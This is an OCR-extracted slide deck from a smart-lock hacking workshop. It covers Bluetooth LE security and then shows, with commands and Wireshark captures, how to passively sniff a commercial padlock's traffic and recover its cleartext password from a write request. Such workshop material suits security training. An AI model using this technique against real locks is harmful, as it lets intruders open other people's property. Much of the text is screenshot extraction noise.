ras	73 70 62	p i	79 70 69			Sequencer						Arerts Text Hex ? Decode as Plain URL HTML Base64 ASCII hex Hex Octal Binary Gzip Hash Smart decode




# ENOUGH FOR INTRO, LET'S GET BACK TO HACKING





# Hacking challenge – steal a car!







#### How do we hack it?







# Bluetooth 4 security (specification)

Pairing

**Key Generation** 

Encryption



Encryption in Bluetooth LE uses AES-CCM cryptography. Like BR/EDR, the LE Controller will perform the encryption function. This function generates 128-bit encryptedData from a 128-bit key and 128-bit plaintextData using the AES-128-bit block cypher as defined in FIPS-1971.

Signed Data

https://developer.bluetooth.org/TechnologyOverview/Pages/LE-Security.aspx





# Bluetooth 4 security (specification)

"The goal of the low energy security mechanism is to protect communication between devices at different levels of the stack."

- Man-in-the-Middle (MITM)
- Passive Eavesdropping
- Privacy/Identity Tracking





# Bluetooth 4.0 - pairing

Pairing (once, in a secure environment)

- JustWorks (R) most common, devices without display cannot implement other
- 6-digit PIN if the device has a display
- Out of band not yet spotted in the wild

Establish Long Term Key, and store it to secure future communication ("bonding")

"Just Works and Passkey Entry do not provide any passive eavesdropping protection"

4.2 – elliptic curves

Mike Ryan, <a href="https://www.lacklustre.net/bluetooth/">https://www.lacklustre.net/bluetooth/</a>





## **BLE security - practice**

- 8 of 10 tested devices do not implement BLE-layer encryption
- The pairing is in OS level, mobile application does not have full control over it
- It is troublesome to manage with requirements for:
  - Multiple users/application instances per device
  - Access sharing
  - Cloud backup
- Usage scenario does not allow for secure bonding (e.g. public cash register, "fleet" of beacons, car rental)
- Other hardware/software/UX problems with pairing
- "Forget" to do it, or do not consider clear-text transmission a problem





#### For our workshop...

#### None of the 7 smart locks uses BLE link-layer encryption ;)





# **BLE security - practice**

Security in "application" layer (GATT). Various authentication schemes

- Static password/key
- Challenge-response (most common)
- "PKI"

Requests/responses encryption No single standard, library, protocol Own crypto, based usually on AES







#### How Secure is

uses a combination of hardware and technology to ensure the device is secure.

**Bluetooth:** uses AES 128-bit encryption, the same encryption used by the military to protect documents with confidential and secret security levels.

#### Highly secure Low Energy Bluetooth (LEB) syncs the lock to your smartphone.

By using industry leading Bluetooth 4.0 that utilizes 128-bit encryption, and our very own PKI technology with cryptographic key exchange protocols, is safe from criminals, hackers, and thieves.

To protect your transactions from unauthorised access by third parties, operates in accordance with the highest card payment industry security stands

- PCI-DSS (Payment Card Industry Data Security Standard) is the highest c security standard used in the credit card industry concerning data transfe data storage.
- SSL (Secure Sockets Layer) and TLS (Transport Layer Security) are 'encry protocols' that protect data that is transmitted over the internet. We are using a 256-bit encryption, the highest possible level at present.
- PGP (Pretty Good Privacy) is an international standard for secure personal data storage.

After 67 years of home security innovations, millions of families rely on for peace of mind. 's long-time leadership and advancements in residential door lock security have now been enhanced with secure authentication technology. Resulting in engineered for both maximum security and performance.



Google



## No more questions...





#### View full report in Google Trends





# BLE RF SNIFFING





## Sniffing – BLE RF essentials

**Advertisement channels** 

H	37	0	-	2	e	4	2	9	7	œ	6	10	38	1	12	13	14	15	16	17	18	19	20	21	22	23	24	25	26	27	28	29	30	31	32	33	34	35	36	39
Frequency	2402 MHz	2404 MHz	2406 MHz	2408 MHz	2410 MHz	2412 MHz	2414 MHz	2416 MHz	2418 MHz	2420 MHz	2422 MHz	2424 MHz	2426 MHz	2428 MHz	2430 MHz	2432 MHz	2434 MHz	2436 MHz	2438 MHz	2440 MHz	2442 MHz	2444 MHz	2446 MHz	2448 MHz	2450 MHz	2452 MHz	2454 MHz	2456 MHz	2458 MHz	2460 MHz	2462 MHz	2464 MHz	2466 MHz	2468 MHz	2470 MHz	2472 MHz	2474 MHz	2476 MHz	2478 MHz	2480 MHz

http://www.connectblue.com/press/articles/shaping-the-wireless-future-with-low-energy-applications-and-systems/





12

# **BLE channel hopping**

#### 37 channels for data,

#### 3 for advertisements

#### Hopping

- → Hop along 37 data channels
- → One data packet per channel
- $\neg$  Next channel  $\equiv$  channel + hop increment (mod 37)
- → Time between hops: hop interval

$$3 \rightarrow 10 \rightarrow 17 \rightarrow 24 \rightarrow 31 \rightarrow 1 \rightarrow 8 \rightarrow 15 \rightarrow ...$$
  
hop increment = 7

Mike RyanBluetooth Smart / Bluetooth LEUSENIX WOOT, August 2013http://lacklustre.net/bluetooth/bluetooth_with_low_energy_comes_low_security-mikeryan-usenix_woot_2013-slides.pdf





# Pro devices (\$\$\$) – scan whole spectrum



Ellisys Bluetooth Explorer 400 All-in-One Bluetooth[®] Protocol Analysis System

http://www.ellisys.com/products/bex400/



ComProbe BPA[®] 600 Dual Mode Bluetooth[®] Protocol Analyzer

http://www.fte.com/products/BPA600.aspx





# Passive sniffing – Ubertooth (120\$)

Open-source (software, hardware).

External antenna.

RF-level sniffing, possible to inspect in Wireshark.

Need 3 of them to sniff all 3 adv channels, then follow hopping.

http://greatscottgadgets.com/ubertoothone/





### Adafruit nRF51822

#### \$24.95

#### Wireshark integration

#### Not quite reliable, but works good enough

https://www.adafruit.com/product/2269 https://learn.adafruit.com/introducing-theadafruit-bluefruit-le-sniffer

<u>F</u> ile	<u>E</u> dit <u>V</u> iew (	<u>Go C</u> apture <u>A</u> nalyze	Statistics Telephony Too	s Internals <u>H</u> elp	
0 0	ه 🔳 🛕	(   B 🗎 X 2	9   Q 🗢 🔿 🐺 5		🏽 🕅 🥵 🎉   🔀
Filter:	btle			Expression Clear Apply	Save
No.	Time	Source	Destination	Protocol Length Info	
13	38 245.312	104 slave	Master	LE LL 60 ADV_	IND
13	39 245.315	097 Slave	Master	LE LL 60 ADV_	IND
*		m			•
🕀 Fra	ame 1338:	60 bytes on wire	e (480 bits), 60 byte	s captured (480 bits) on	interface 0
🕀 Nor	dic BLE s	niffer meta			
Blu	etooth Lo	w Energy Link La	aver		

Access Address: 0x8e89bed6

Packet Header: 0x2240 (PDU Type: ADV_IND, TxAdd=false, RxAdd=false) Advertising Address: e4:c6:c7:31:95:11 (e4:c6:c7:31:95:11)

Since nRF-Sniffer is a passive solution that is simply scanning packets over the air, there is the possibility of missing packets using this tool (or any other passive sniffing solution). In order to capture as many packets as possible, be sure to run the sniffer on a USB bus that isn't busy and avoid running it in a virtual machine since this can introduce significant latency over USB.

Lalegus Le alla pr/Epk La Salle Device Cavault .... .1.. = BR/EDR Not Supported: true (0x01) .... ..1. = LE General Discoverable Mode: true (0x01) .... ...0 = LE Limited Discoverable Mode: false (0x00) Tx Power Level Length: 2 Type: Tx Power Level (0x0a) Power Level (dBm): 0 ⊟ 128-bit Service Class UUIDs Length: 17 Type: 128-bit Service class UUIDs (0x07) Custom UUID: 9ecadc240ee5a9e093f3a3b50100406e 11 06 35 01 7b 75 06 0a 01 25 2b 00 00 5e 53 08 ..5.{u.. .%+..^s. 0000 00 d6 be 89 8e 40 22 11 95 31 c7 c6 e4 03 19 00 0010 0020 0030 0 93 f3 a3 b5 01 00 40 6e fb





# Our sniffing device - nRF51822 Eval Kit

Same module, but a bit cheaper than Adafruit.

More possibilities for further hacking (e.g. BLE prototyping).

Need to be flashed with sniffer firmware – using e.g. SWD debugger, or Raspberry Pi (instructions soon on www.smartlockpicking.com).







#### BTW

#### This chip can do much more. Check Damien's talk:

#### <u>http://files.brucon.org/2017/012_Damien_Cauquil_Weapon</u> <u>izing_the_BBC_Micro_Bit.pdf</u>

https://www.youtube.com/watch?v=Z_eipXeC4Q4



#### SMARTLOCKPICKING.COM



# Lock #1





#### SMARTLOCKPICKING.COM





# PRIVACY when you WANT it, SECURITY when you NEED it.

https://www.thequicklock.com





#### Setting up the sniffer – connect to USB

```
root@kali:~# dmesg
(...)
[25958.451531] usb 2-2.2: new full-speed USB device number 10 using
uhci hcd
[25958.707592] usb 2-2.2: New USB device found, idVendor=10c4,
idProduct=ea60
[25958.707596] usb 2-2.2: New USB device strings: Mfr=1, Product=2,
SerialNumber=3
[25958.707598] usb 2-2.2: Product: CP2102 USB to UART Bridge Controller
[25958.707600] usb 2-2.2: Manufacturer: Silicon Labs
[25958.707601] usb 2-2.2: SerialNumber: 0001
[25958.713131] cp210x 2-2.2:1.0: cp210x converter detected
[25958.717133] usb 2-2.2: cp210x converter now attached to ttyUSB0
```





# The python helper script (already in your VM)

root@kali:~# git clone
https://github.com/adafruit/Adafruit_BLESniffer_Python





## The python helper script

root@kali:~# cd Adafruit_BLESniffer_Python
root@kali:~/Adafruit_BLESniffer_Python# python sniffer.py
/dev/ttyUSB0

Capturing data to logs/capture.pcap Connecting to sniffer on /dev/ttyUSB0 Scanning for BLE devices (5s) ...





#### Choose "Padlock!" device

root@kali:~/Adafruit_BLESniffer_Python# python sniffer.py /dev/ttyUSB0 Capturing data to logs/capture.pcap Connecting to sniffer on /dev/ttyUSB0 Scanning for BLE devices (5s) ... Found 5 BLE devices:

```
[1] "" (F0:C7:7F:16:2E:8B, RSSI = -87)
[2] "" (EC:FE:7E:13:9F:95, RSSI = -88)
[3] "" (C3:B3:30:40:70:E5, RSSI = -70)
[4] "" (F6:AD:07:C5:56:66, RSSI = -89)
[5] "Padlock!" (F4:B8:5E:C0:6E:A5, RSSI = -77)
Select a device to sniff, or '0' to scan again
> 5
Attempting to follow device F4:B8:5E:C0:6E:A5
```





#### Dump pcap file

#### Adafruit_BLESniffer_Python/logs/capture.pcap

Previously recorded in provided files:

devices/quicklock/pcap_nrf/capture.pcap





### Wireshark support

#### Official nRF sniffer docs: only Windows, patch DLL, ...

#### Fortunately: native support in Wireshark > 2.3







## Wireshark – by default does not decode it

					c	apture.pcap		
<u>F</u> ile	<u>E</u> dit <u>V</u> iew	<u>G</u> o <u>C</u> apture	e <u>A</u> nalyze <u>S</u> t	tatistics Telep	phon <u>y W</u> ir	eless <u>T</u> ools	<u>H</u> elp	
			🕅 🏹	. + +	ə (+ ⇒)		୧୧୧ 🎹	
📕 App	oly a display	filter <ctrl-< th=""><th>/&gt;</th><th></th><th></th><th></th><th></th><th>C</th></ctrl-<>	/>					C
No.	Time	9	Source		Destination		Protocol Length	Info
● ● Fra ● Use ● Dat	1 0.000 2 0.008 3 0.008 4 0.010 5 0.011 6 0.010 7 0.017 ame 1: 57 ame 1: 57 r encaps ta (57 by	0000 3036 3897 0106 1542 5262 7399 bytes on ulation no tes)	wire (456 b t handled:	oits), 57 k DLT=157, 0	oytes cap check you	tured (456 <mark>r Preferen</mark>	57 57 62 62 62 56 56 	DLT_USER
0000 0010 0020 0030	0b 06 3 00 d6 b 15 ff c f8 fa 6	2 01 26 00 e 89 8e 00 8 01 01 82 9 3c 11 a5	) 06 0a 01 ) 1f 95 9f 2 7e 3a 9d 5 af 76 fb	25 35 00 ( 13 7e fe e 4c 75 49 7	00 2e 2c ec 02 01 79 83 c2	012.& 06 1e i<.		



🕑 slawekja

Edit-> Choo	>Preferences->P ose "DLT=157" ar	rotocols->DLT_USER->Edit->create new entr d enter "nordic_ble" (already in your VM)	·y (+)
		capture.pcap	x
<u>File E</u> dit <u>V</u> iew	/ <u>G</u> o <u>C</u> apture <u>A</u> nalyze <u>S</u>	tatistics Telephony <u>W</u> ireless <u>T</u> ools <u>H</u> elp	
		. ← →	
Apply a dis		Wireshark · Preferences ×	Expression +
No. Ti <u>1</u> 0 2 0 3 0	DICOM DLT DIS DISTCC Encar DJIUAV	Jser sulations Table Edit	
4 0 5 0 6 0	DLM3 DLSw	User DLTs Table	6
7 0 Frame 1: User enc Data (57	DLT_USER DMP DMX Channel: DNP 3.0 DNS	DLT       Payload protocol       Header size       Header protocol       T         User 10 (DLT=157)       nordic_ble       0       0       0	Frailer size Trailer protocol
00000 Ob C 0010 OO d 0020 15 f 0030 f8 f	DOCSIS DOF DRDA DSI DTCP-IP		





#### Continuously get packets in Wireshark from capture file

# wireshark -k -i <(tail -c +0 -F capture.pcap)</pre>

Ready script:

root@kali:~/Adafruit_BLESniffer_Python# ./wireshark.sh

If you don't have sniffer, open already prerecorded file:

devices/quicklock/pcap_nrf/capture.pcap



#### SMARTLOCKPICKING.COM



		capture.pd	ар		
<u>File Edit View G</u> o	Capture Analyze Statistics	Telephony <u>W</u> ireless <u>T</u> o	ools <u>H</u> elp		
	j 🛅 🖹 🎑 🔍 🔶 j	<b>↓ ↓ ↓</b>	ହ ୧ ୧	1	
Apply a display filter .	<ctrl-></ctrl->				
No.         Time           1 0.000000         2 0.008036           3 0.008897         4 0.010106           5 0.011542         6 0.016262           7 0.017399         ◄           ■         Bluetooth Low En Access Address	Source           Blueradi_13:9f:95           Blueradi_13:9f:95           Blueradi_13:9f:95           C3:b3:30:40:70:e5           C3:b3:50:40:70:e5           C3:b3:50:40:70:e5           C3:b3:50:40:70:e5           C3:b3:50:40:70:e5           C3:b3:50:40:70:e5           C3:b3:50:40:70:e5           C3:b3:50:40:70:e5	Destination Broadcast Broadcast Broadcast Broadcast Broadcast Broadcast	Protocol I LE LL LE LL LE LL LE LL LE LL LE LL LE LL	Length Info 57 ADV_IND 57 ADV_IND 57 ADV_IND 62 ADV_IND 62 ADV_IND 62 ADV_IND 56 ADV_IND	Tons of advertisements
<ul> <li>Packet Header Advertising A</li> <li>Advertising D</li> <li>Flags</li> <li>16-bit Serv</li> <li>Service Dat Length: 1 Type: Ser UUID 16:</li> </ul>	: 0x1e40 (PDU Type: AD ddress: f6:ad:07:c5:56 ata ice Class UUIDs a - 16 bit UUID 6 vice Data - 16 bit UUI Google (0xfeaa) ata: 10b60267617474616	/_IND, TxAdd: Randon :66 (f6:ad:07:c5:56 D (0x16) 36b2e696f	n) :66)		
CRC: 0×91633b					
0000         0b         06         31         01           0010         00         d6         be         89           0020         03         03         aa         fe           0030         63         6b         2e         69	2d 00 06 0a 01 25 55 8e 40 1e 66 56 c5 07 10 16 aa fe 10 b6 02 6f 89 c6 dc	00 00 be 9f 00 ad f6 02 01 06 67 61 74 74 61 ck	1%U @.f ∨ gatt o <mark>gatt</mark>	a	





# Wireshark - filter only relevant packets



Source: <u>https://github.com/greatscottgadgets/ubertooth/wiki/Capturing-BLE-in-Wireshark</u>

#### Other simple filter (only data): btatt





## Wireshark filter (file: quicklock/pcap_nrf/capture)

<u>F</u> ile	<u>Edit</u> <u>View</u> <u>Go</u> <u>C</u> apt	ure <u>A</u> nalyze <u>S</u> tatistics	Telephony <u>W</u> ireless <u>T</u> o	ols <u>H</u> elp							
		🖹 🎑 🔍 🔶	● + → +	<u>କ୍ର</u> ୍ପ୍							
btle.data_header.length > 0    btle.advertising_header.pdu_type == 0x05       Expression.											
No.	Time	Source	Destination	Protocol	Length Info						
	895 100.100821	54:f7:49:54:9b:9	6 TexasIns_c0:6e:a	5 LE LL	60 CONNECT_REQ						
	896 102.627139	Master_0x548744e	9 Slave_0x548744e9	ATT	37 Sent Read By Type Request, GATT Include						
	899 102.675754	Slave_0x548744e9	Master_0x548744e	9 ATT	35 Rcvd Error Response - Attribute Not Four						
	900 102.725209	Master_0x548744e	9 Slave_0x548744e9	ATT	37 Sent Read By Type Request, GATT Characte						
	903 102.776025	Slave_0x548744e9	Master_0x548744e	9 ATT	39 Rcvd Read By Type Response, Attribute L:						
	904 102.822380	Master_0x548744e	9 Slave_0x548744e9	ATT	37 Sent Read By Type Request, GATT Characte						
4	907 102.871806	Slave 0x548744e9	Master 0x548744e	9 ATT	35 Rcvd Error Response - Attribute Not Four						
Er:	ame 895, 60 hytes	on wire (480 hits	) 60 bytes cantured	(480 hits)							
DL	T: 157. Pavload: I	nordic ble (Nordic	BLE Sniffer)	(400 5105)							
► No	rdic BLE Sniffer		222 0.1211017								
▼ B1	uetooth Low Energy	v Link Laver									
	Access Address: 0	x8e89bed6									
•	Packet Header: 0x	2245 (PDU Type: CC	NNECT_REQ, TxAdd: Rai	ndom, RxAdd:	Public)						
	Initator Address:	54:f7:49:54:9b:96	(54:f7:49:54:9b:96)								
	Advertising Addre	ss: TexasIns_c0:66	:a5 (f4:b8:5e:c0:6e:a	a5)							
•	Link Layer Data			-							
0000	76 06 35 01 9f	07 06 0a 01 26 30	00 00 97 00 00 v.	5&0							
0010	00 d6 be 89 8e	45 22 96 9b 54 49	9 f7 54 a5 6e c0	E"TI.T	.n.						
0020	5e b8 f4 e9 44	87 54 8e 23 10 0	L 19 00 27 00 00    ^.	D.T. #	'						
0030	00 d0 07 ff ff	ff ff 1f af 07 30	δ 70 · · ·	6p							





## **Upon initiating connection**

<u>File Edit View Go</u> Capture <u>Analyze</u> <u>Statistics</u> Telephony <u>Wireless</u> <u>Tools</u> <u>H</u>elp

#### ≝ 🗩 🗩 🗩 📑 🔛 🔇 🔍 🗲 🔸 .२ 🛸 🛅 🔍 ९ ९ ९ 🎬

#### btle.data_header.length > 0 || btle.advertising_header.pdu_type == 0x05

Expressio

Nc 🕶	Time	Source	Destination	Protocc Leng	Info	
	100.10	54:f7:49:54:9b:96	TexasIns_c0:	LE LL	60 CONNECT_REQ	
←	102.62	Master_0x548744e9	Slave_0x5487	ATT	37 Sent Read By Type Request, GATT Include Declaration, Handles: 0x	:00260x002a
	102.67	Slave_0x548744e9	Master_0x548…	ATT	35 Rcvd Error Response - Attribute Not Found, Handle: 0x0026, Handl	e: 0x0026 (Unknown)
	102.72	Master_0x548744e9	Slave_0x5487	ATT	37 Sent Read By Type Request, GATT Characteristic Declaration, Hand	lles: 0x00260x002a
	102.77	Slave_0x548744e9	Master_0x548…	ATT	39 Rcvd Read By Type Response, Attribute List Length: 1, Current	me
	102.82	Master_0x548744e9	Slave_0x5487	ATT	37 Sent Read By Type Request, GATT Characteristic Declaration, Hand	lles. 0x00280x002a
	102.87	Slave_0x548744e9	Master_0x548…	ATT	35 Rcvd Error Response - Attribute Not Found, Handle: 0x0028, Handl	e: 0x0028 (Unknown: C
	102.91	Master_0x548744e9	Slave_0x5487	ATT	35 Sent Find Information Request, Handles: 0x00290x002a	
	102.96	Slave_0x548744e9	Master_0x548…	ATT	40 Rcvd Find Information Response, Handle: 0x0029 (Unknown: Current	Time: Client Charact
	103.01	Master_0x548744e9	Slave_0x5487	ATT	37 Sent Read By Type Request, GATT Include Declaration, Handles: (	
►F	rame 896	: 37 bytes on wire	(296 bits), 37	bytes cap	tured (296 bits)	Smartnhong first chacks
D	LT: 157,	Payload: nordic_b	le (Nordic BLE	Sniffer)		Smartphone mist checks
► N	lordic BL	E Sniffer				
► B	luetooth	Low Energy Link La	ayer			available services.
► B	luetooth	L2CAP Protocol				
<b>▼</b> B	luetooth	Attribute Protoco	1			characteristics descriptors
	Opcode:	Read By Type Requ	est (0x08)			characteristics, descriptors
	Θ	= Authenticat	ion Signature:	False		•
	.0	= Command: Fa	lse		-	
	00	1000 = Method: Rea	d By Type Reque	est (0x08)		
	Startin	ng Handle: 0x0026				
	Fadina	Handlar 0x0000	00 40 05 04 4	00 0- 0 <del>5</del> 0		
00		5 1e 01 a1 07 06 0a		90 6a 2T 2	/ V	
00		9 44 87 34 02 00 07 20 50 fe	00 04 00 08	20 00 Za 0	σ	
00.	02 20	5 50 50 10				





#### Checking available services, characteristics, descriptors

<u>F</u> ile <u>E</u> dit <u>V</u> iew <u>Go</u> <u>C</u> apture <u>A</u> nalyze <u>S</u> tatistics Telephony <u>W</u> ireless <u>T</u> ools <u>H</u> elp											
◢ ▣ ∅ । 🖬 🔛 🛇 + + , । + + 🜉 📃 । € २ ० 👔 🖬 💿 💁 🔳											
btle.data_header.length > 0    btle.advertising_header.pdu_type == 0x05											
Nc Time Source Destination Protocc Length Info											
← 103.55… Master_0x548744e9 Slave_0x5487… ATT 35 Sent Find Information Request, Handles: 0x00310x0032											
→ 103.55… Slave_0x548744e9 Master_0x548… ATT 40 Rcvd Find Information Response, Handle: 0x0031 (Unknown: Unknown: Client Character	ist…										
103.60 Master_0x548744e9 Slave_0x5487 ATT 35 Sent Find Information Request, Handles: 0x00350x0035											
103.65 Slave_0x548744e9 Master_0x548 ATT 36 Rcvd Find Information Response, Handle: 0x0035 (Unknown: Unknown: Characteristic U	Jser										
103.70 Master_0x548744e9 Stave_0x5487 All 35 Sent Find Information Request, Handles: 0x00380x0038 102.74 Slave 0x548744e9 Master 0x548 ATT 36 Boyd Find Information Request, Handles: 0x00380x0038	loor										
103.74 Stave_0x54674469 Master_0x546 All So Revu Find Information Request Handles: 0x0036 (Unknown: Unknown: Unkn	isei										
103.84. Slave 0x548744e9 Master 0x548. ATT 40 Rcvd Find Information Response. Handle: 0x003b (Unknown: Unknown: Client Character	ist.										
103.89 Master 0x548744e9 Slave 0x5487 ATT 37 Sent Read By Type Request, GATT Include Declaration, Handles: 0x003d0xffff	1000										
103.94 Slave_0x548744e9 Master_0x548 ATT 35 Rcvd Error Response - Attribute Not Found, Handle: 0x003d, Handle: 0x003d (Unknown	1)										
<pre>103.94 Slave_0x548744e9 Master_0x548 ATT 35 Rcvd Error Response - Attribute Not Found, Handle: 0x003d, Handle: 0x003d (Unknown)  Frame 934: 35 bytes on wire (280 bits), 35 bytes captured (280 bits) DLT: 157, Payload: nordic_ble (Nordic BLE Sniffer) Nordic BLE Sniffer Bluetooth Low Energy Link Layer Bluetooth L2CAP Protocol Bluetooth Attribute Protocol Opcode: Find Information Request (0x04) 0 = Authentication Signature: False</pre>											
00.0100 = Method: Find Information Request (0x04)											
Starting Handle: 0x0031											
0000       76 06 1c 01 c7 07 06 0a       03 07 35 47 00 ef bc 00       v											





#### Write request – smartphone sends data to device

<u>F</u> ile <u>E</u> dit <u>V</u> iew <u>G</u> o <u>C</u> apture <u>A</u> nalyze <u>S</u> tatistics Telephony <u>W</u> ireless <u>T</u> ools <u>H</u> elp	
⊿ ■ 2 © च 🖹 🛠 + + + = = = 0 ९ ९ म	
<pre>btle.data_header.length &gt; 0    btle.advertising_header.pdu_type == 0x05</pre>	Expression
Nc - Time Source Destination Protocc Length Info	
104.48 Slave_0x548744e9 Master_0x548 ATT 36 Rcvd Find Information Response, Handle: 0x0047 (Unknown: Unknown: 0	Characteristic User…
104.52… Master_0x548744e9 Slave_0x5487… ATT 35 Sent Find Information Request, Handles: 0x00480xffff	
104.57 Slave_0x548744e9 Master_0x548 ATT 35 Rcvd Error Response - Attribute Not Found, Handle: 0x0048, Handle:	0x0048 (Unknown)
🔶 104.62… Master_0x548744e9 Slave_0x5487… ATT 🛛 35 Sent Write Request, Handle: 0x0031 (Unknown: Unknown: Client Charac	teristic Configura
→ 104.67 Slave_0x548744e9 Master_0x548 ATT 31 Rcvd Write Response, Handle: 0x0031 (Unknown: Unknown: Client Chara	cteristic Configur
105.06 Master_0x548744e9 Slave_0x5487 ATT 35 Sent Write Request, Handle: 0x0043 (Unknown: Unknown: Client Charac	teristic Configura
105.11 Slave_0x548/44e9 Master_0x548 ATT 31 RCvd Write Response, Handle: 0x0043 (Unknown: Unknown: Client Chara	acteristic Configur
105.35 Master_0X548744e9 Slave_0X5487 All 48 Sent Write Request, Handle: 0X0046 (Unknown: Unknown)	
105.40 Slave_0x548744e9 Master_0x548 ATT 31 RCV0 Write Response, Handle: 0x0046 (Unknown: Unknown)	
105.04. Master_0x340744e9 Stave_0x3407 All SS Selic Read Request, Manute. 0x0011 (UIRHOWIT)	
Frame 978: 35 bytes on wire (280 bits), 35 bytes captured (280 bits)	
DLI: 157, Payload: nordic_ble (Nordic BLE Sniffer)	
Noralc BLE Shifter Noralc BLE Shifter	
N Bluetooth L2CAP Protocol	
R Bluetooth Attribute Protocol	
▼ Opcode: Write Request (0x12)	
0 = Authentication Signature: False	
.0 = Command: False	
01 0010 = Method: Write Request (0x12)	
Handle: 0x0031: Unknown: Client Characteristic Configuration)	
[Characteristic    The   hknown (Avffd7)]	
0000 /6 06 1C 01 T3 0/ 06 0a 03 04 36 5d 00 et bc 00 v	
.a.	




#### Filter only write requests

	Expand Subtrees	Shift+Right	capture.pcap
<u>File Edit View Go C</u>	Expand All	Ctrl+Right	ls <u>H</u> elp
	Collapse <u>A</u> ll	Ctrl+Left	€ Q T
Apply a display filter	Apply as Column		
No Time	Apply as Filter	۱.	Selected
1043 106.235403	Prepare a Filter	•	Not Selected pty PDU
1044 106.236690	Conversation Filter	•	and Selected pty PDU
1045 106.282887 1046 106.283252	Colorize with Filter	•	<u>o</u> r Selected pty PDU
1047 106.331532	Follow	•	and not Selected pty PDU
1049 106.380300	Сору	•	o <u>r</u> not Selected pty PDU
1050 106.380579	Show Packet Bytes		LE LL 26 Empty PDU
1052 106.430926	Export Packet <u>B</u> ytes	Ctrl+H	LE LL 26 Empty PDU
▶ Frame 1051: 42 by	Wiki Protocol Page		(336 bits)
<ul> <li>Nordic BLE Sniffe</li> </ul>	Filter Field Reference		
Bluetooth Low Ene Bluetooth L2CAP P	Protocol Preferences	•	
<ul> <li>Bluetooth Attribu</li> </ul>	Decode As		
• Opcode: Write F	Go to Linked Packet		
.0= (	Show <u>bink</u> ed Packet in New Window		

0000 0010 0020

▼ H

Find write packet, right click on Opcode (Write Request) and apply as filter





#### Filter only writes: btatt.opcode == 0x12

File	Edit Via	u Co Cont	Analuza	Ctatistics T	alaphany W	irologo To	ala Hala								
File		w <u>Go C</u> api	ture <u>A</u> natyze		etephony w	ireless <u>r</u> o									
		0 6 [	1 🗙 🎑	۹ 🔶 🕈	.⊅ (+ ⇒		<b>@ Q</b>	0् !							
<b>b</b>	tatt.opcode	== 0x12													$\times$ $\rightarrow$
No.	Time	;	Source		Destinatio	า	Protoc	ol Length	Info						
	978 104	.626019	Master_0	x548744e9	Slave_0	548744e9	ATT	3	5 Sent	Write	Request,	Handle:	0x0031	(Unknown:	Unknown:
	995 105	.064517	Master_0	x548744e9	Slave_0	548744e9	Ə ATT	3	5 Sent	Write	Request,	Handle:	0x0043	(Unknown:	Unknown:
	1007 105	.357666	Master_0	x548744e9	Slave_0	548744e9	Ə ATT	48	8 Sent	Write	Request,	Handle:	0x0046	(Unknown:	Unknown)
	1029 105	.893564	Master_0	x548744e9	Slave_0	548744e9	) ATT	3	7 Sent	Write	Request,	Handle:	0x0028	(Unknown:	Current T
←	1051 106	.430273	Master_0	x548744e9	Slave_0>	548744e9	) ATT	42	2 Sent	Write	Request,	Handle:	0x002d	(Unknown:	Unknown)
	1083 107	.161542	Master_0	x548744e9	Slave_0	548744e9	) ATT	3	5 Sent	Write	Request,	Handle:	0x003b	(Unknown:	Unknown:
	1117 107	.990031	Master_0	x548744e9	Slave_0>	548744e9	Ə ATT	34	4 Sent	Write	Request,	Handle:	0x0037	(Unknown:	Unknown)
► F	rame 1051	: 42 byte	s on wire	(336 bits),	42 bytes	capture	d (336 bits	;)							
D	LT: 157,	Payload:	nordic_ble	(Nordic Bl	E Sniffer	)									
► N	ordic BLE	Sniffer													
► B	luetooth	Low Energy	y Link Lay	er											
► B	luetooth	LZCAP Pro	LOCOT												
▼ D		ALLFIDULE	Protocol												
	opcoue.		henticati	) on Signatur	e: Ealse										
	0		mand: Eale	on Signatur	e. Faise										
	.0	= CON 9010 = Met	hod: Write	- Request (	0v12)										
ι.,	Handle:	0x002d: 11	inknown)	, wednese (	0/12)										
	Fuuro.	Unknown	(ovffde)]												
000	76 06	23 01 3c	08 06 0a	03 04 3b 8	2 00 37 bd	00 V.	#.<;	7							
001	L0 00 e9	44 87 54	0e 10 Oc	00 04 00 1	2 2d 00 00	12	D.T								
002	20 34 56	78 00 00	00 00 85	d9 db		4V	×								

#### SMARTLOCKPICKING.COM





#### Gotcha!

bta	att.opcode	e == 0x12									
•	Time	Source	Destination	Protocc	Length Info						
	104.62	Master_0x548744e9	Slave_0x5487	ATT	35 Sent	Write Request,	Handle:	0x0031	(Unknown:	Unknown:	Client Cha
	105.06	Master_0x548744e9	Slave_0x5487…	ATT	35 Sent	Write Request,	Handle:	0x0043	(Unknown:	Unknown:	Client Chai
	105.35	Master_0x548744e9	Slave_0x5487	ATT	48 Sent	Write Request,	Handle:	0x0046	(Unknown:	Unknown)	
	105.89	Master_0x548744e9	Slave_0x5487	ATT	37 Sent	Write Request,	Handle:	0x0028	(Unknown:	Current	Time)[Malfo
	106.43	Master_0x548744e9	Slave_0x5487	ATT	42 Sent	Write Request,	Handle:	0x002d	(Unknown:	Unknown)	Olient Oher
	107.10	Master_0x548744e9	Slave_0x5487	ATT	35 Sent	write Request,	Handle:	0X003D	(Unknown:	Unknown:	Client Chai
	107.99	Master_0x548744e9	STave_0x5487	ATT	34 Sent	write Request,	Handie:	0X0037	(Unknown:	UNKNOWN)	
Fr DL No	ame 105 T: 157, rdic BL	1: 42 bytes on wir Payload: nordic_b E Sniffer	e (336 bits), 4 le (Nordic BLE S	2 bytes Sniffer	s captured r)	(336 bits)					
Fr DL No Bl Bl Bl	ame 105 T: 157, rdic BL uetooth uetooth uetooth Opcode: Handle:	1: 42 bytes on wir Payload: nordic_b E Sniffer Low Energy Link L L2CAP Protocol Attribute Protoco Write Request (0x 0x002d: Unknown)	e (336 bits), 42 le (Nordic BLE 9 ayer l 12)	2 bytes Sniffer	s captured r)	(336 bits)				-	
Fr DL Bl Bl Bl	ame 105 T: 157, rdic BL uetooth uetooth uetooth Opcode: Handle: [UUIC	1: 42 bytes on wir Payload: nordic_b E Sniffer Low Energy Link L L2CAP Protocol Attribute Protoco Write Request (0x 0x002d: Unknown) D: Unknown (0xffd6)	e (336 bits), 4: le (Nordic BLE s ayer l 12) ]	2 bytes Sniffer	s captured r)	(336 bits)				-	
Fr DL No Bl Bl Bl	ame 105 T: 157, rdic BL uetooth uetooth uetooth Opcode: Handle: [UUID Value: [Respon	1: 42 bytes on wir Payload: nordic_b E Sniffer Low Energy Link L L2CAP Protocol Attribute Protoco Write Request (0x 0x002d: Unknown) D: Unknown (0xffd6) 001234567800000000 se in Prome: 1056]	e (336 bits), 4: le (Nordic BLE s ayer l 12) ]	2 bytes Sniffer	s captured r)	(336 bits)				-	
